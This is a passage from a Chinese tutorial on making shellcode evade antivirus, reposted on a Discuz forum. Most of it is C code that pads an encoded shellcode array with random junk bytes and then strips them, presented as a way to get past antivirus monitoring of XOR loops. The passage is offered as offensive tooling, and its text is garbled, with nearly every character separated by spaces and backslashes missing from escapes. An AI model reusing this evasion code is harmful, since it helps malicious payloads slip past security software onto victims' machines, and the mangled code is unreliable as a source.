可 以 想 想 其 他 的 方 式 ， 比 如 填 充 垃 圾 数 据 、 逆 置 等 ， 这 里 给 出 填 充 垃 圾 数 据 的 代 码 ： #   i n c l u d e #   i n c l u d e #   i n c l u d e #   i n c l u d e / / 隔 1 插 3 v o i d   m a i n ( ) {         u n s i g n e d   c h a r   s l c d [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ;         u n s i g n e d   c h a r   b u f [ 4 * s i z e o f ( s l c d ) ] ;         i n t   j   =   0 ;         f o r   ( i n t   i   =   0 ;   i   <   4 * s i z e o f ( s l c d ) ;   i + + ) {                 i f   ( i   %   4   = =   0 ) {                         b u f [ i ]   =   s l c d [ j ] ;                         j + + ;                 }                 e l s e {                             / / 插 入 随 机 十 六 进 制 数                         b u f [ i ]   =   r a n d ( )   &   1 5 ;                 }         }         p r i n t f ( " 原 始 s h e l l c o d e : r n " ) ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( s l c d ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   s l c d [ i ] ) ;         }         p r i n t f ( " r n 填 充 垃 圾 数 据 后 ： r n " ) ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( b u f ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   b u f [ i ] ) ;         }         p r i n t f ( " r n 去 掉 垃 圾 数 据 后 r n " ) ;         u n s i g n e d   c h a r   b u f 2 [ s i z e o f ( b u f ) / 4 ] ;         / / 重 置 j         j   =   0 ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( b u f ) ;   i + + ) {                 i f   ( i   %   4   = =   0 ) {                         b u f 2 [ j ]   =   b u f [ i ] ;                         j + + ;                 }                 }         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( b u f 2 ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   b u f 2 [ i ] ) ;         } } 运 行 效 果 ：
可 以 看 到 ， 加 密 后   s h e l l c o d e   的 长 度 … … 很 长 ， 这 就 是 这 种 混 淆 方 式 的 缺 点 ， 优 点 是 可 以 躲 过 部 分 变 态 杀 软 对 循 环 异 或 的 监 控 。 s h e l l c o d e   的 免 杀 到 此 结 束 ， 后 面 我 们 将 开 始 介 绍 执 行 方 式 免 杀 。 注 ： 本 文 转 载 自 雷 神 众 测 微 信 公 众 号 h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： T w i t t e r 遭 受 重 大 安 全 漏 洞   比 尔 盖 茨 、 拜 登 和 苹 果 等 几 十 个 知 名 T w i t t e r 帐 户 遭 遇 劫 持   S i g R e d 漏 洞 在 W i n d o w s 中 潜 伏 1 7 年 ！ 蠕 虫 病 毒 或 感 染 全 球 中 小 型 企 业 三 文 鱼 引 发 挪 威 海 鲜 安 全 危 机 ！ I B M 区 块 链 技 术 正 在 帮 助 其 追 溯 源 头 所 有 i P h o n e 设 备 都 可 能 被 解 锁 ！ 黑 客 发 布 新 款 越 狱 软 件 “ U n c 0 v e r ” 征 集   |   2 0 2 0 世 界 信 息 安 全 大 会 议 题 征 集 全 面 开 启 ！ ▼ 点 击 “ 阅 读 原 文 ”   查 看 更 多 精 彩 内 容 喜 欢 记 得 打 赏 小 E 哦 ！ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理